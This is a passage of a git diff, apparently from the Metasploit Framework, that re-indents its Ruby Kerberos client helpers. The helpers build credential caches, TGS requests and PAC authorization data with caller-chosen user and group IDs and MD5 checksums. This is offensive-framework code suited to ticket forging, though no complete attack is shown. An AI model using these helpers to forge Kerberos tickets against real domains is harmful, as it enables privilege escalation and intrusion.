Rex::Proto::Kerberos::Model::EncryptionKey - def extract_session_key(res, key) - decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE) - enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res) + enc_kdc_res.key + end - enc_kdc_res.key - end + # Extracts the logon time from a Kerberos AS Response + # + # @param res [Rex::Proto::Kerberos::Model::KdcResponse] + # @param key [String] + # @return [Fixnum] + # @see Rex::Proto::Kerberos::Model::KdcResponse + # @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt + # @see Rex::Proto::Kerberos::Model::EncKdcResponse + # @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode + def extract_logon_time(res, key) + decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE) + enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res) - # Extracts the logon time from a Kerberos AS Response - # - # @param res [Rex::Proto::Kerberos::Model::KdcResponse] - # @param key [String] - # @return [Fixnum] - # @see Rex::Proto::Kerberos::Model::KdcResponse - # @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt - # @see Rex::Proto::Kerberos::Model::EncKdcResponse - # @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode - def extract_logon_time(res, key) - decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE) - enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res) + auth_time = enc_kdc_res.auth_time - auth_time = enc_kdc_res.auth_time - - auth_time.to_i + auth_time.to_i + end + end + end end end end diff --git a/lib/msf/core/exploit/kerberos/client/base.rb b/lib/msf/core/exploit/kerberos/client/base.rb index 41d46155e0..cb44a48507 100644 --- a/lib/msf/core/exploit/kerberos/client/base.rb +++ b/lib/msf/core/exploit/kerberos/client/base.rb @@ -1,41 +1,47 @@ # -*- coding: binary -*- -module Msf::Exploit::Remote::Kerberos - module Client - module Base +module Msf + class Exploit + class Remote + module Kerberos + module Client + module Base - # Builds a kerberos Client Name Principal - # - # @param opts [Hash{Symbol => }] - # @option opts [String] :client_name the client's name - # @option opts [Fixnum] :client_type the client's name type - # @return [Rex::Proto::Kerberos::Model::PrincipalName] - # @see Rex::Proto::Kerberos::Model::PrincipalName - def build_client_name(opts = {}) - name = opts[:client_name] || '' - name_type = opts[:client_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL + # Builds a kerberos Client Name Principal + # + # @param opts [Hash{Symbol => }] + # @option opts [String] :client_name the client's name + # @option opts [Fixnum] :client_type the client's name type + # @return [Rex::Proto::Kerberos::Model::PrincipalName] + # @see Rex::Proto::Kerberos::Model::PrincipalName + def build_client_name(opts = {}) + name = opts[:client_name] || '' + name_type = opts[:client_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL - Rex::Proto::Kerberos::Model::PrincipalName.new( - name_type: name_type, - name_string: name.split('/') - ) - end + Rex::Proto::Kerberos::Model::PrincipalName.new( + name_type: name_type, + name_string: name.split('/') + ) + end - # Builds a kerberos Server Name Principal - # - # @param opts [Hash{Symbol => }] - # @option opts [String] :server_name the server's name - # @option opts [Fixnum] :server_type the server's name type - # @return [Rex::Proto::Kerberos::Model::PrincipalName] - # @see Rex::Proto::Kerberos::Model::PrincipalName - def build_server_name(opts = {}) - name = opts[:server_name] || '' - name_type = opts[:server_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL + # Builds a kerberos Server Name Principal + # + # @param opts [Hash{Symbol => }] + # @option opts [String] :server_name the server's name + # @option opts [Fixnum] :server_type the server's name type + # @return [Rex::Proto::Kerberos::Model::PrincipalName] + # @see Rex::Proto::Kerberos::Model::PrincipalName + def build_server_name(opts = {}) + name = opts[:server_name] || '' + name_type = opts[:server_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL - Rex::Proto::Kerberos::Model::PrincipalName.new( - name_type: name_type, - name_string: name.split('/') - ) + Rex::Proto::Kerberos::Model::PrincipalName.new( + name_type: name_type, + name_string: name.split('/') + ) + end + end + end end end end diff --git a/lib/msf/core/exploit/kerberos/client/cache_credential.rb b/lib/msf/core/exploit/kerberos/client/cache_credential.rb index 5ff70f90fc..5c4eb96fa2 100644 --- a/lib/msf/core/exploit/kerberos/client/cache_credential.rb +++ b/lib/msf/core/exploit/kerberos/client/cache_credential.rb @@ -1,145 +1,151 @@ # -*- coding: binary -*- require 'rex/proto/kerberos' -module Msf::Exploit::Remote::Kerberos - module Client - module CacheCredential +module Msf + class Exploit + class Remote + module Kerberos + module Client + module CacheCredential - # Builds a MIT Credential Cache - # - # @param opts [Hash{Symbol => , Rex::Proto::Kerberos::CredentialCache::Principal, Array>}] - # @option opts [Fixnum] :version - # @option opts [Array] :headers - # @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] :primary_principal - # @option opts [Array] :credentials - # @return [Rex::Proto::Kerberos::CredentialCache::Cache] - # @see Rex::Proto::Kerberos::CredentialCache::Cache - def create_cache(opts = {}) - version = opts[:version] || Rex::Proto::Kerberos::CredentialCache::VERSION - headers = opts[:headers] || [Rex::Proto::Kerberos::CredentialCache::HEADER] - primary_principal = opts[:primary_principal] || create_cache_principal(opts) - credentials = opts[:credentials] || [create_cache_credential(opts)] + # Builds a MIT Credential Cache + # + # @param opts [Hash{Symbol => , Rex::Proto::Kerberos::CredentialCache::Principal, Array>}] + # @option opts [Fixnum] :version + # @option opts [Array] :headers + # @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] :primary_principal + # @option opts [Array] :credentials + # @return [Rex::Proto::Kerberos::CredentialCache::Cache] + # @see Rex::Proto::Kerberos::CredentialCache::Cache + def create_cache(opts = {}) + version = opts[:version] || Rex::Proto::Kerberos::CredentialCache::VERSION + headers = opts[:headers] || [Rex::Proto::Kerberos::CredentialCache::HEADER] + primary_principal = opts[:primary_principal] || create_cache_principal(opts) + credentials = opts[:credentials] || [create_cache_credential(opts)] - cache = Rex::Proto::Kerberos::CredentialCache::Cache.new( - version: version, - headers: headers, - primary_principal: primary_principal, - credentials: credentials - ) + cache = Rex::Proto::Kerberos::CredentialCache::Cache.new( + version: version, + headers: headers, + primary_principal: primary_principal, + credentials: credentials + ) - cache - end + cache + end - # Builds a MIT Credential Cache principal - # - # @param opts [Hash<{Symbol => >}>] - # @option opts [Fixnum] :name_type - # @option opts [String] :realm - # @option opts [Array] :components - # @return [Rex::Proto::Kerberos::CredentialCache::Principal] - # @see Rex::Proto::Kerberos::CredentialCache::Principal - def create_cache_principal(opts = {}) - name_type = opts[:name_type] || 0 - realm = opts[:realm] || '' - components = opts[:components] || [''] + # Builds a MIT Credential Cache principal + # + # @param opts [Hash<{Symbol => >}>] + # @option opts [Fixnum] :name_type + # @option opts [String] :realm + # @option opts [Array] :components + # @return [Rex::Proto::Kerberos::CredentialCache::Principal] + # @see Rex::Proto::Kerberos::CredentialCache::Principal + def create_cache_principal(opts = {}) + name_type = opts[:name_type] || 0 + realm = opts[:realm] || '' + components = opts[:components] || [''] - principal = Rex::Proto::Kerberos::CredentialCache::Principal.new( - name_type: name_type, - realm: realm, - components:components - ) + principal = Rex::Proto::Kerberos::CredentialCache::Principal.new( + name_type: name_type, + realm: realm, + components:components + ) - principal - end + principal + end - # Builds a MIT Credential Cache key block - # - # @param opts [Hash<{Symbol => }>] - # @option opts [Fixnum] :key_type - # @option opts [Fixnum] :e_type - # @option opts [String] :key_value - # @return [Rex::Proto::Kerberos::CredentialCache::KeyBlock] - # @see Rex::Proto::Kerberos::CredentialCache::KeyBlock - def create_cache_key_block(opts = {}) - key_type = opts[:key_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC - e_type = opts[:e_type] || 0 - key_value = opts[:key_value] || '' + # Builds a MIT Credential Cache key block + # + # @param opts [Hash<{Symbol => }>] + # @option opts [Fixnum] :key_type + # @option opts [Fixnum] :e_type + # @option opts [String] :key_value + # @return [Rex::Proto::Kerberos::CredentialCache::KeyBlock] + # @see Rex::Proto::Kerberos::CredentialCache::KeyBlock + def create_cache_key_block(opts = {}) + key_type = opts[:key_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC + e_type = opts[:e_type] || 0 + key_value = opts[:key_value] || '' - key_block = Rex::Proto::Kerberos::CredentialCache::KeyBlock.new( - key_type: key_type, - e_type: e_type, - key_value: key_value - ) + key_block = Rex::Proto::Kerberos::CredentialCache::KeyBlock.new( + key_type: key_type, + e_type: e_type, + key_value: key_value + ) - key_block - end + key_block + end - # Builds a times structure linked to a credential in a MIT Credential Cache - # - # @param opts [Hash<{Symbol => Fixnum}>] - # @option opts [Fixnum] auth_time - # @option opts [Fixnum] start_time - # @option opts [Fixnum] end_time - # @option opts [Fixnum] renew_till - # @return [Rex::Proto::Kerberos::CredentialCache::Time] - # @see Rex::Proto::Kerberos::CredentialCache::Time - def create_cache_times(opts = {}) - auth_time = opts[:auth_time] || 0 - start_time = opts[:start_time] || 0 - end_time = opts[:end_time] || 0 - renew_till = opts[:renew_till] || 0 + # Builds a times structure linked to a credential in a MIT Credential Cache + # + # @param opts [Hash<{Symbol => Fixnum}>] + # @option opts [Fixnum] auth_time + # @option opts [Fixnum] start_time + # @option opts [Fixnum] end_time + # @option opts [Fixnum] renew_till + # @return [Rex::Proto::Kerberos::CredentialCache::Time] + # @see Rex::Proto::Kerberos::CredentialCache::Time + def create_cache_times(opts = {}) + auth_time = opts[:auth_time] || 0 + start_time = opts[:start_time] || 0 + end_time = opts[:end_time] || 0 + renew_till = opts[:renew_till] || 0 - time = Rex::Proto::Kerberos::CredentialCache::Time.new( - auth_time: auth_time.to_i, - start_time: start_time.to_i, - end_time: end_time.to_i, - renew_till: renew_till.to_i - ) + time = Rex::Proto::Kerberos::CredentialCache::Time.new( + auth_time: auth_time.to_i, + start_time: start_time.to_i, + end_time: end_time.to_i, + renew_till: renew_till.to_i + ) - time - end + time + end - # Builds a MIT Credential Cache credential - # - # @param opts [Hash<{Symbol => <>}>] - # @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] client - # @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] server - # @option opts [Rex::Proto::Kerberos::CredentialCache::KeyBlock] key - # @option opts [Rex::Proto::Kerberos::CredentialCache::Time] time - # @option opts [Fixnum] is_key - # @option opts [Fixnum] flags - # @option opts [Array] addrs - # @option opts [Array] auth_data - # @option opts [String] ticket - # @option opts [String] second_ticket - # @return [Rex::Proto::Kerberos::CredentialCache::Credential] - # @see Rex::Proto::Kerberos::CredentialCache::Credential - def create_cache_credential(opts = {}) - client = opts[:client] || create_cache_principal(opts) - server = opts[:server] || create_cache_principal(opts) - key = opts[:key] || create_cache_key_block(opts) - time = opts[:time] || create_cache_times(opts) - is_skey = opts[:is_skey] || 0 - tkt_flags = opts[:flags] || 0 - addrs = opts[:addrs] || [] - auth_data = opts[:auth_data] || [] - ticket = opts[:ticket] || '' - second_ticket = opts[:second_ticket] || '' + # Builds a MIT Credential Cache credential + # + # @param opts [Hash<{Symbol => <>}>] + # @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] client + # @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] server + # @option opts [Rex::Proto::Kerberos::CredentialCache::KeyBlock] key + # @option opts [Rex::Proto::Kerberos::CredentialCache::Time] time + # @option opts [Fixnum] is_key + # @option opts [Fixnum] flags + # @option opts [Array] addrs + # @option opts [Array] auth_data + # @option opts [String] ticket + # @option opts [String] second_ticket + # @return [Rex::Proto::Kerberos::CredentialCache::Credential] + # @see Rex::Proto::Kerberos::CredentialCache::Credential + def create_cache_credential(opts = {}) + client = opts[:client] || create_cache_principal(opts) + server = opts[:server] || create_cache_principal(opts) + key = opts[:key] || create_cache_key_block(opts) + time = opts[:time] || create_cache_times(opts) + is_skey = opts[:is_skey] || 0 + tkt_flags = opts[:flags] || 0 + addrs = opts[:addrs] || [] + auth_data = opts[:auth_data] || [] + ticket = opts[:ticket] || '' + second_ticket = opts[:second_ticket] || '' - cred = Rex::Proto::Kerberos::CredentialCache::Credential.new( - client: client, - server: server, - key: key, - time: time, - is_skey: is_skey, - tkt_flags:tkt_flags, - addrs: addrs, - auth_data: auth_data, - ticket: ticket, - second_ticket: second_ticket - ) + cred = Rex::Proto::Kerberos::CredentialCache::Credential.new( + client: client, + server: server, + key: key, + time: time, + is_skey: is_skey, + tkt_flags:tkt_flags, + addrs: addrs, + auth_data: auth_data, + ticket: ticket, + second_ticket: second_ticket + ) - cred + cred + end + end + end end end end diff --git a/lib/msf/core/exploit/kerberos/client/pac.rb b/lib/msf/core/exploit/kerberos/client/pac.rb index 5a06dfdcd0..03bf256513 100644 --- a/lib/msf/core/exploit/kerberos/client/pac.rb +++ b/lib/msf/core/exploit/kerberos/client/pac.rb @@ -1,109 +1,114 @@ # -*- coding: binary -*- require 'rex/proto/kerberos' -module Msf::Exploit::Remote::Kerberos - module Client - module Pac +module Msf + class Exploit + class Remote + module Kerberos + module Client + module Pac - # Builds a kerberos PA-PAC-REQUEST pre authenticated structure - # - # @param opts [Hash{Symbol => Boolean}] - # @option opts [Boolean] :pac_request_value - # @return [Rex::Proto::Kerberos::Model::Field::PreAuthData] - # @see Rex::Proto::Kerberos::Model::PreAuthPacRequest - # @see Rex::Proto::Kerberos::Model::PreAuthData - def build_pa_pac_request(opts = {}) - value = opts[:pac_request_value] || false - pac_request = Rex::Proto::Kerberos::Model::PreAuthPacRequest.new(value: value) - pa_pac_request = Rex::Proto::Kerberos::Model::PreAuthData.new( - type: Rex::Proto::Kerberos::Model::PA_PAC_REQUEST, - value: pac_request.encode - ) + # Builds a kerberos PA-PAC-REQUEST pre authenticated structure + # + # @param opts [Hash{Symbol => Boolean}] + # @option opts [Boolean] :pac_request_value + # @return [Rex::Proto::Kerberos::Model::Field::PreAuthData] + # @see Rex::Proto::Kerberos::Model::PreAuthPacRequest + # @see Rex::Proto::Kerberos::Model::PreAuthData + def build_pa_pac_request(opts = {}) + value = opts[:pac_request_value] || false + pac_request = Rex::Proto::Kerberos::Model::PreAuthPacRequest.new(value: value) + pa_pac_request = Rex::Proto::Kerberos::Model::PreAuthData.new( + type: Rex::Proto::Kerberos::Model::PA_PAC_REQUEST, + value: pac_request.encode + ) - pa_pac_request + pa_pac_request + end + + # Builds a kerberos PACTYPE structure + # + # @param opts [Hash{Symbol => }] + # @option opts [String] :client_name + # @option opts [Fixnum] :user_id the user SID Ex: 1000 + # @option opts [Fixnum] :group_id Ex: 513 for 'Domain Users' + # @option opts [Array] :group_ids + # @option opts [String] :realm + # @option opts [String] :domain_id the domain SID Ex: S-1-5-21-1755879683-3641577184-3486455962 + # @option opts [Time] :logon_time + # @return [Rex::Proto::Kerberos::Pac::Type] + # @see Rex::Proto::Kerberos::Pac::LogonInfo + # @see Rex::Proto::Kerberos::Pac::ClientInfo + # @see Rex::Proto::Kerberos::Pac::ServerChecksum + # @see Rex::Proto::Kerberos::Pac::PrivSvrChecksum + # @see Rex::Proto::Kerberos::Pac::Type + def build_pac(opts = {}) + user_name = opts[:client_name] || '' + user_id = opts[:user_id] || Rex::Proto::Kerberos::Pac::DEFAULT_USER_SID + primary_group_id = opts[:group_id] || Rex::Proto::Kerberos::Pac::DOMAIN_USERS + group_ids = opts[:group_ids] || [Rex::Proto::Kerberos::Pac::DOMAIN_USERS] + domain_name = opts[:realm] || '' + domain_id = opts[:domain_id] || Rex::Proto::Kerberos::Pac::NT_AUTHORITY_SID + logon_time = opts[:logon_time] || Time.now + checksum_type = opts[:checksum_type] || Rex::Proto::Kerberos::Crypto::RSA_MD5 + + logon_info = Rex::Proto::Kerberos::Pac::LogonInfo.new( + logon_time: logon_time, + effective_name: user_name, + user_id: user_id, + primary_group_id: primary_group_id, + group_ids: group_ids, + logon_domain_name: domain_name, + logon_domain_id: domain_id, + ) + + client_info = Rex::Proto::Kerberos::Pac::ClientInfo.new( + client_id: logon_time, + name: user_name + ) + + server_checksum = Rex::Proto::Kerberos::Pac::ServerChecksum.new( + checksum: checksum_type + ) + + priv_srv_checksum = Rex::Proto::Kerberos::Pac::PrivSvrChecksum.new( + checksum: checksum_type + ) + + pac_type = Rex::Proto::Kerberos::Pac::Type.new( + buffers: [ + logon_info, + client_info, + server_checksum, + priv_srv_checksum + ], + checksum: checksum_type + ) + + pac_type + end + + # Builds an kerberos AuthorizationData structure containing a PACTYPE + # + # @param opts [Hash{Symbol => Rex::Proto::Kerberos::Pac::Type}] + # @option opts [Rex::Proto::Kerberos::Pac::Type] :pac + # @return [Rex::Proto::Kerberos::Model::AuthorizationData] + # @see Rex::Proto::Kerberos::Model::AuthorizationData + def build_pac_authorization_data(opts = {}) + pac = opts[:pac] || build_pac(opts) + + pac_auth_data = Rex::Proto::Kerberos::Model::AuthorizationData.new( + elements: [{:type => Rex::Proto::Kerberos::Pac::AD_WIN2K_PAC, :data => pac.encode}] + ) + authorization_data = Rex::Proto::Kerberos::Model::AuthorizationData.new( + elements: [{:type => Rex::Proto::Kerberos::Model::AD_IF_RELEVANT, :data => pac_auth_data.encode}] + ) + + authorization_data + end + end + end end - - # Builds a kerberos PACTYPE structure - # - # @param opts [Hash{Symbol => }] - # @option opts [String] :client_name - # @option opts [Fixnum] :user_id the user SID Ex: 1000 - # @option opts [Fixnum] :group_id Ex: 513 for 'Domain Users' - # @option opts [Array] :group_ids - # @option opts [String] :realm - # @option opts [String] :domain_id the domain SID Ex: S-1-5-21-1755879683-3641577184-3486455962 - # @option opts [Time] :logon_time - # @return [Rex::Proto::Kerberos::Pac::Type] - # @see Rex::Proto::Kerberos::Pac::LogonInfo - # @see Rex::Proto::Kerberos::Pac::ClientInfo - # @see Rex::Proto::Kerberos::Pac::ServerChecksum - # @see Rex::Proto::Kerberos::Pac::PrivSvrChecksum - # @see Rex::Proto::Kerberos::Pac::Type - def build_pac(opts = {}) - user_name = opts[:client_name] || '' - user_id = opts[:user_id] || Rex::Proto::Kerberos::Pac::DEFAULT_USER_SID - primary_group_id = opts[:group_id] || Rex::Proto::Kerberos::Pac::DOMAIN_USERS - group_ids = opts[:group_ids] || [Rex::Proto::Kerberos::Pac::DOMAIN_USERS] - domain_name = opts[:realm] || '' - domain_id = opts[:domain_id] || Rex::Proto::Kerberos::Pac::NT_AUTHORITY_SID - logon_time = opts[:logon_time] || Time.now - checksum_type = opts[:checksum_type] || Rex::Proto::Kerberos::Crypto::RSA_MD5 - - logon_info = Rex::Proto::Kerberos::Pac::LogonInfo.new( - logon_time: logon_time, - effective_name: user_name, - user_id: user_id, - primary_group_id: primary_group_id, - group_ids: group_ids, - logon_domain_name: domain_name, - logon_domain_id: domain_id, - ) - - client_info = Rex::Proto::Kerberos::Pac::ClientInfo.new( - client_id: logon_time, - name: user_name - ) - - server_checksum = Rex::Proto::Kerberos::Pac::ServerChecksum.new( - checksum: checksum_type - ) - - priv_srv_checksum = Rex::Proto::Kerberos::Pac::PrivSvrChecksum.new( - checksum: checksum_type - ) - - pac_type = Rex::Proto::Kerberos::Pac::Type.new( - buffers: [ - logon_info, - client_info, - server_checksum, - priv_srv_checksum - ], - checksum: checksum_type - ) - - pac_type - end - - # Builds an kerberos AuthorizationData structure containing a PACTYPE - # - # @param opts [Hash{Symbol => Rex::Proto::Kerberos::Pac::Type}] - # @option opts [Rex::Proto::Kerberos::Pac::Type] :pac - # @return [Rex::Proto::Kerberos::Model::AuthorizationData] - # @see Rex::Proto::Kerberos::Model::AuthorizationData - def build_pac_authorization_data(opts = {}) - pac = opts[:pac] || build_pac(opts) - - pac_auth_data = Rex::Proto::Kerberos::Model::AuthorizationData.new( - elements: [{:type => Rex::Proto::Kerberos::Pac::AD_WIN2K_PAC, :data => pac.encode}] - ) - authorization_data = Rex::Proto::Kerberos::Model::AuthorizationData.new( - elements: [{:type => Rex::Proto::Kerberos::Model::AD_IF_RELEVANT, :data => pac_auth_data.encode}] - ) - - authorization_data - end - end end end diff --git a/lib/msf/core/exploit/kerberos/client/tgs_request.rb b/lib/msf/core/exploit/kerberos/client/tgs_request.rb index 5573136288..27670f4f10 100644 --- a/lib/msf/core/exploit/kerberos/client/tgs_request.rb +++ b/lib/msf/core/exploit/kerberos/client/tgs_request.rb @@ -1,270 +1,276 @@ # -*- coding: binary -*- require 'rex/proto/kerberos' -module Msf::Exploit::Remote::Kerberos - module Client - module TgsRequest +module Msf + class Exploit + class Remote + module Kerberos + module Client + module TgsRequest - # Builds the encrypted Kerberos TGS request - # - # @param opts [Hash{Symbol => }] - # @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data - # @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data - # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey - # @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum - # @option opts [Rex::Proto::Kerberos::Model::Authenticator] :auhtenticator - # @option opts [Array] :pa_data - # @return [Rex::Proto::Kerberos::Model::KdcRequest] - # @raise [RuntimeError] if ticket isn't available - # @see Rex::Proto::Kerberos::Model::AuthorizationData - # @see Rex::Proto::Kerberos::Model::EncryptedData - # @see Rex::Proto::Kerberos::Model::EncryptionKey - # @see Rex::Proto::Kerberos::Model::Checksum - # @see Rex::Proto::Kerberos::Model::Authenticator - # @see Rex::Proto::Kerberos::Model::PreAuthData - # @see Rex::Proto::Kerberos::Model::KdcRequest - def build_tgs_request(opts = {}) - subkey = opts[:subkey] || build_subkey(opts) + # Builds the encrypted Kerberos TGS request + # + # @param opts [Hash{Symbol => }] + # @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data + # @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data + # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey + # @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum + # @option opts [Rex::Proto::Kerberos::Model::Authenticator] :auhtenticator + # @option opts [Array] :pa_data + # @return [Rex::Proto::Kerberos::Model::KdcRequest] + # @raise [RuntimeError] if ticket isn't available + # @see Rex::Proto::Kerberos::Model::AuthorizationData + # @see Rex::Proto::Kerberos::Model::EncryptedData + # @see Rex::Proto::Kerberos::Model::EncryptionKey + # @see Rex::Proto::Kerberos::Model::Checksum + # @see Rex::Proto::Kerberos::Model::Authenticator + # @see Rex::Proto::Kerberos::Model::PreAuthData + # @see Rex::Proto::Kerberos::Model::KdcRequest + def build_tgs_request(opts = {}) + subkey = opts[:subkey] || build_subkey(opts) - if opts[:enc_auth_data] - enc_auth_data = opts[:enc_auth_data] - elsif opts[:auth_data] - enc_auth_data = build_enc_auth_data( - auth_data: opts[:auth_data], - subkey: subkey - ) - else - enc_auth_data = nil + if opts[:enc_auth_data] + enc_auth_data = opts[:enc_auth_data] + elsif opts[:auth_data] + enc_auth_data = build_enc_auth_data( + auth_data: opts[:auth_data], + subkey: subkey + ) + else + enc_auth_data = nil + end + + body = build_tgs_request_body(opts.merge( + enc_auth_data: enc_auth_data + )) + + checksum = opts[:checksum] || build_tgs_body_checksum(:body => body) + + if opts[:auhtenticator] + authenticator = opts[:authenticator] + else + authenticator = build_authenticator(opts.merge( + subkey: subkey, + checksum: checksum + )) + end + + if opts[:ap_req] + ap_req = opts[:ap_req] + else + ap_req = build_ap_req(opts.merge(:authenticator => authenticator)) + end + + pa_ap_req = Rex::Proto::Kerberos::Model::PreAuthData.new( + type: Rex::Proto::Kerberos::Model::PA_TGS_REQ, + value: ap_req.encode + ) + + pa_data = [] + pa_data.push(pa_ap_req) + if opts[:pa_data] + opts[:pa_data].each { |pa| pa_data.push(pa) } + end + + request = Rex::Proto::Kerberos::Model::KdcRequest.new( + pvno: 5, + msg_type: Rex::Proto::Kerberos::Model::TGS_REQ, + pa_data: pa_data, + req_body: body + ) + + request + end + + # Builds the encrypted TGS authorization data + # + # @param opts [Hash{Symbol => }] + # @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data + # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey + # @return [Rex::Proto::Kerberos::Model::EncryptedData] + # @raise [RuntimeError] if auth_data option isn't provided + # @see Rex::Proto::Kerberos::Model::AuthorizationData + # @see Rex::Proto::Kerberos::Model::EncryptionKey + # @see Rex::Proto::Kerberos::Model::EncryptedData + def build_enc_auth_data(opts = {}) + auth_data = opts[:auth_data] + + if auth_data.nil? + raise ::RuntimeError, 'auth_data option required on #build_enc_auth_data' + end + + subkey = opts[:subkey] || build_subkey(opts) + + encrypted = auth_data.encrypt(subkey.type, subkey.value) + + e_data = Rex::Proto::Kerberos::Model::EncryptedData.new( + etype: subkey.type, + cipher: encrypted + ) + + e_data + end + + # Builds a KRB_AP_REQ message + # + # @param opts [Hash{Symbol => }] + # @option opts [Fixnum] :pvno + # @option opts [Fixnum] :msg_type + # @option opts [Fixnum] :ap_req_options + # @option opts [Rex::Proto::Kerberos::Model::Ticket] :ticket + # @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :authenticator + # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :session_key + # @return [Rex::Proto::Kerberos::Model::EncryptionKey] + # @raise [RuntimeError] if ticket option isn't provided + # @see Rex::Proto::Kerberos::Model::Ticket + # @see Rex::Proto::Kerberos::Model::EncryptedData + # @see Rex::Proto::Kerberos::Model::EncryptionKey + def build_ap_req(opts = {}) + pvno = opts[:pvno] || Rex::Proto::Kerberos::Model::VERSION + msg_type = opts[:msg_type] || Rex::Proto::Kerberos::Model::AP_REQ + options = opts[:ap_req_options] || 0 + ticket = opts[:ticket] + authenticator = opts[:authenticator] || build_authenticator(opts) + session_key = opts[:session_key] || build_subkey(opts) + + if ticket.nil? + raise ::RuntimeError, 'Building a AP-REQ without ticket not supported' + end + + enc_authenticator = Rex::Proto::Kerberos::Model::EncryptedData.new( + etype: session_key.type, + cipher: authenticator.encrypt(session_key.type, session_key.value) + ) + + ap_req = Rex::Proto::Kerberos::Model::ApReq.new( + pvno: pvno, + msg_type: msg_type, + options: options, + ticket: ticket, + authenticator: enc_authenticator + ) + + ap_req + end + + # Builds a kerberos authenticator for a TGS request + # + # @param opts [Hash{Symbol => }] + # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname + # @option opts [String] :realm + # @option opts [Time] :ctime + # @option opts [Fixnum] :cusec + # @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum + # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey + # @return [Rex::Proto::Kerberos::Model::Authenticator] + # @see Rex::Proto::Kerberos::Model::PrincipalName + # @see Rex::Proto::Kerberos::Model::Checksum + # @see Rex::Proto::Kerberos::Model::EncryptionKey + # @see Rex::Proto::Kerberos::Model::Authenticator + def build_authenticator(opts = {}) + cname = opts[:cname] || build_client_name(opts) + realm = opts[:realm] || '' + ctime = opts[:ctime] || Time.now + cusec = opts[:cusec] || ctime.usec + checksum = opts[:checksum] || build_tgs_body_checksum(opts) + subkey = opts[:subkey] || build_subkey(opts) + + authenticator = Rex::Proto::Kerberos::Model::Authenticator.new( + vno: 5, + crealm: realm, + cname: cname, + checksum: checksum, + cusec: cusec, + ctime: ctime, + subkey: subkey + ) + + authenticator + end + + # Builds an encryption key to protect the data sent in the TGS request. + # + # @param opts [Hash{Symbol => }] + # @option opts [Fixnum] :subkey_type + # @option opts [String] :subkey_value + # @return [Rex::Proto::Kerberos::Model::EncryptionKey] + # @see Rex::Proto::Kerberos::Model::EncryptionKey + def build_subkey(opts={}) + subkey_type = opts[:subkey_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC + subkey_value = opts[:subkey_value] || Rex::Text.rand_text(16) + + subkey = Rex::Proto::Kerberos::Model::EncryptionKey.new( + type: subkey_type, + value: subkey_value + ) + + subkey + end + + + # Builds a kerberos TGS request body + # + # @param opts [Hash{Symbol => }] + # @option opts [Fixnum] :options + # @option opts [Time] :from + # @option opts [Time] :till + # @option opts [Time] :rtime + # @option opts [Fixnum] :nonce + # @option opts [Fixnum] :etype + # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname + # @option opts [String] :realm + # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname + # @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data + # @return [Rex::Proto::Kerberos::Model::KdcRequestBody] + # @see Rex::Proto::Kerberos::Model::PrincipalName + # @see Rex::Proto::Kerberos::Model::KdcRequestBody + def build_tgs_request_body(opts = {}) + options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable + from = opts[:from] || Time.utc('1970-01-01-01 00:00:00') + till = opts[:till] || Time.utc('1970-01-01-01 00:00:00') + rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00') + nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i + etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC] + cname = opts[:cname] || build_client_name(opts) + realm = opts[:realm] || '' + sname = opts[:sname] || build_server_name(opts) + enc_auth_data = opts[:enc_auth_data] || nil + + body = Rex::Proto::Kerberos::Model::KdcRequestBody.new( + options: options, + cname: cname, + realm: realm, + sname: sname, + from: from, + till: till, + rtime: rtime, + nonce: nonce, + etype: etype, + enc_auth_data: enc_auth_data + ) + + body + end + + # Builds a Kerberos TGS Request body checksum + # + # @param opts [Hash{Symbol => }] + # @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body + # @return [Rex::Proto::Kerberos::Model::Checksum] + # @see #build_tgs_request_body + # @see Rex::Proto::Kerberos::Model::Checksum + def build_tgs_body_checksum(opts = {}) + body = opts[:body] || build_tgs_request_body(opts) + checksum_body = body.checksum(Rex::Proto::Kerberos::Crypto::RSA_MD5) + checksum = Rex::Proto::Kerberos::Model::Checksum.new( + type: 7, + checksum: 